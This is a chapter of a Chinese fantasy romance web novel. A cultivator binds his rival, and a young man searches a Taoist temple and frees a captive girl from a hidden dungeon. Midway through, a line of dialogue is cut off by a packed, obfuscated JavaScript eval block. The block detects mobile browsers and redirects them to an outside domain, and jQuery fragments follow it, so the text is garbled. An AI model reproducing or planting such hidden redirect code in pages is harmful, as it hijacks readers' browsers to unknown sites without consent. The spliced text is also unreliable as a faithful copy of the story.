抚音穿梭飞行于密林间,顺着观微的方向紧追不舍。
直到追至一处山坳,玄光的身影出现在眼前,抚音随手捻起树梢两片枯叶,远远甩了出去。
枯叶如脱弦利箭般来势迅猛,眼看离他不到半丈远,玄光躲闪不及,一枚枯叶径直擦过耳畔,在他耳上留下一道血印。
他每到一处,前路便炸开一处,飞起的碎石和枯叶好似长了眼都溅到他身上,逼得他左遮右挡步履维艰。
玄光见逃不脱,索性停了下来,正面对战抚音。
抚音单手结了十字印,头顶立即浮现一阵耀眼的蓝光,紧接着铺天盖地的蓝光尽数冲向玄光,玄光亦单手接下这一招,两股不同的法力相撞,冲击力震得整座山的树梢积雪尽落枯叶乱飞,藏在窝中的鸟雀扑棱棱拍着翅膀远走高飞。
“交出茱青,你或可不死。”抚音道。
玄光不屑:“那就看看你有没有这个能耐。”
玄光猛地用力,使得没有防备的抚音往后倾了倾身,他趁此机会聚起无数雪花树叶,形成一个巨大的风阵,风阵脱手而出,呼啸着向抚音冲去。
狂风夹杂着碎石迎面而来,抚音抬手横剑于身前,两指轻弹剑身,喝道:“风停,破!”
剑气铮鸣的瞬间,一股强大的力量与风阵相对抗,不仅伤不了抚音分毫,逆转的力量反冲向玄光,倒让他自食其果,被逼着退了两步。
一经交手,彼此修为如何都有了大概的了解。
抚音乘胜追击,用了多半功力打出十余道剑气,玄光挡过一半已是心有余而力不足,生生挨了五六剑,剐得他道袍褴褛,狼狈不堪。
抚音自手中凭空出现一条紫色彩绳,掺杂着几缕金线,他念了个诀,手中彩绳似长了眼睛朝玄光飞去,在他身上绕了几圈,把玄光捆得结结实实,挣也挣不开。
“别挣扎了,我的修为比你高,你解不了捆仙绳。”抚音想再讥讽几句,然而解救茱青迫在眉睫,这些废话过后再说也不迟,他道,“茱青在哪?”
紫阳观内。
翊贞一脚踹向面前的房门,门哐啷响了好几下,他才看到上面还挂着锁。
“公子,这是皇家道观,你如此藐视本观,实在太过放肆。”道童见挡不住翊贞,玄光又不在,不得不叫来监院,监院是年过四十的清瘦中年人,面相威严不苟言笑,正沉着脸劝告翊贞,“公子再不收手,贫道只好上报朝廷…”
“那你别耽误时间了,快去报吧…”翊贞胡乱应付两句,单手握着落月剑,看准了劈下去,锁链应声而落。
翊贞推门而入,里面只有几个箱子,打开一看是满满一箱白银,还有一些价值不菲的金玉物件,怪不得挂着大锁,应当是紫阳观的库房。
这里没有茱青。
翊贞匆匆赶往下一间,依旧不见茱青。
紫阳观的监院看着眼前的男子,头发半散衣袍带血,左手胡乱缠着布条,掌心的布洇着血迹,脸色苍白如纸呼吸沉重,他只一心寻找着什么人,毫不在乎他的劝告。
眼看再劝也没半点用处,他只好让众道士分头守住后院的入口,以免香客意外闯入。
监院招手叫来给翊贞带路的道童问了几句,得知玄光对翊贞格外客气,沉吟道:“让他闹,住持种下的因,得来的果也该由住持承担。”
翊贞推开另一间房门,没有茱青。
下一间,没有。
下一间,也没有。
他一间间寻找着,每个角落都不放过。
供着香案的桌布下,道士们的床底,甚至连衣柜他都挨个打开看了一遍。
可都没有茱青。
翊贞颓然站在院中,无力地垂下头。
茱青就像长在他心口的一块肉,他所有的地方都是冷的,只有她是热的,这块肉掉了,每呼吸一次,五脏六腑便痛一次,痛得他再承受不住,扶着剑一点点单膝跪了下去。
他从未想过会找不到茱青,就像乔妙掳走茱青那次,他安然无恙地带回了她,这次他也以为自己可以…
翊贞微微晃了晃头收回思绪,紫阳观再大,也不过三十六间房,茱青一定在其中的某一间,在等他。
他刚才急得没了章法,现在冷静下来才想明白,玄光为了不让众人发觉,必不会让茱青离他太远,那么玄光的卧房是重中之重,他还得再搜一遍。
翊贞重新回到玄光的院子,从花园到卧房再到打坐的袇房,连砖缝都没放过,却仍一无所获。
就在他体力不支之际,身旁忽有人道:“公子,你是在找人吗?”
翊贞回头,是个年龄不大的道童。
他忙道:“是,我找一个姑娘,大概到我下巴这么高,长得白白净净,大眼睛很活泼,你见过她吗?”
道童始终垂着眼,语气带着同情哀伤:“你跟我来。”
翊贞跟随道童到了一处书房,这书房他也搜过,始终没发现有什么异常。
道童走到书桌旁,拿起架子上的红瓷花瓶,在架子边缘轻点几下,墙角的画轴背后突出了一块,他一手按下突出的木块,一手按住固定在墙角的壁瓶,中间的书架忽然无声移至一旁,背后豁然出现一道门,里面黑不见底。
“她可能是你想找的人。”道童的视线一直延伸至石阶底下,“她还活着。”
翊贞看着黑漆漆的地牢有所顾忌,道童平静道:“你若不信我,那就请离开吧。”
“我信。”此刻他也只能信。
石阶的上层还有几分亮光,到了中间便只能摸索前行,翊贞骂了一句眼睛坏得不是时候,小心摸着墙往下走,快到底层时才隐隐看到烛火。
借着烛光,他恍惚瞧见一个模糊而又熟悉的身影。
翊贞快走了几步,才发现那人被吊在刑架上,衣衫不整发丝凌乱,像是受尽了折磨。
他不敢相信地拨开眼前人的头发,茱青苍白憔悴的脸赫然出现在他面前。
他来不及细想,举剑砍向镣铐,两三下过后,镣铐仍分毫不动。
“你砍不断的,这上面有住持法力加持,除非有极强的意念。”若明不知何时下了台阶,“你的意念加上她的法力,或许能震断锁链,可她太虚弱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161734|174520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我唤不醒她。”
“我试试。”翊贞扶着茱青让她靠在自己身上借力,温声耳语,“你给我的护身符很有用,今天帮了我大忙,等你回去再帮我画几张好不好,上次你剩的面我洗碗前吃了一口,没熟,一点都不好吃,难怪你只吃了那两口,你不在的这几天我跟刘姨学了怎么煮面,回去我再煮一碗你尝尝,这次不用你骗我哄我高兴了…你快醒醒啊,很快我们就能回去了…醒醒啊…”
说到最后,翊贞带了几分哽咽,喃喃道:“你不喜欢我是对的,我就是天底下最没用的师父…”
若明听出点意思,叹了口气,背过身去。
茱青的额头恰好抵在翊贞胸前,他轻轻抚摸着茱青的后脑,宽大的掌心温暖干燥,茱青感受到久违的暖意,下意识往温暖的来源蹭去。
翊贞没料到茱青这么快会醒,怕她发现赶紧抹了抹眼睛。
太丢人了。
茱青心想,好熟悉的味道,她无力抬头,却已知道这味道的主人是谁。
翊贞真的来了。
他的声音像泉水潺潺流过她的耳朵,他无比坚定地告诉她,只要两人同心,其利便可断金。
这是凡人的一句俗语,她记得原话是“夫妻同心其利断金”来着。
他看过那么多书,怎么连这句话也会乱用。
若明回头:“你的伤太重,她这两日也耗了不少修为,最好一击即中。”
翊贞道了声谢,指尖轻蹭茱青受伤的脸颊:“我们一起试试。”
茱青微微点头回应,凝结真气聚于双拳,在翊贞挥剑砍向锁链的同时猛地用力,周身散出一道越来越亮的紫光。
锁链毫无反应。
就在三人皆以为失败时,紫光突然爆开,像无数颗星星散落在地牢,将地牢照得如同白昼。
锁着茱青手脚的镣铐在此刻哗啦一声全部打开,茱青失去支撑身软无力,毫无征兆向前倒去,若明略微惊叹又很快恢复平静,顺便推了一把被剑震麻了手的翊贞。
他这一推,恰好让茱青准确无误地扑在翊贞怀里,翊贞愣了一瞬,抬手抱住了快要倒下去的茱青。
这位隐藏在道观里的小月老转过头,自顾自道:“住持的结界,破了啊…”
“什么结界?”翊贞道。
“住持专门为她设的,就算她能打开锁链,也绝对逃不出地牢,一碰到便会弹回来。”若明不禁鄙视起了翊贞,看着挺聪明的一个人,连有结界都看不出来。
他奉命每日每夜看管茱青,过了早饭点想去找口吃的,一出院子就听到师兄们说来了个挑事的,在观里闹得翻了天。
走投无路心如死灰的翊贞出现在院里时,若明突然明白茱青晕过去前说的那句“他会来找我的”,是什么意思。
他见识了玄光与茱青的较量,还当翊贞也是有法术的神仙,结果只会用蛮力砍砍砍,除了情话说得很动听,简单的行为与高冷的长相简直天差地别。
若明这么想着,一句“傻大个”险些脱口而出。
他咳了两声正色道:“公子,赶紧出去吧。”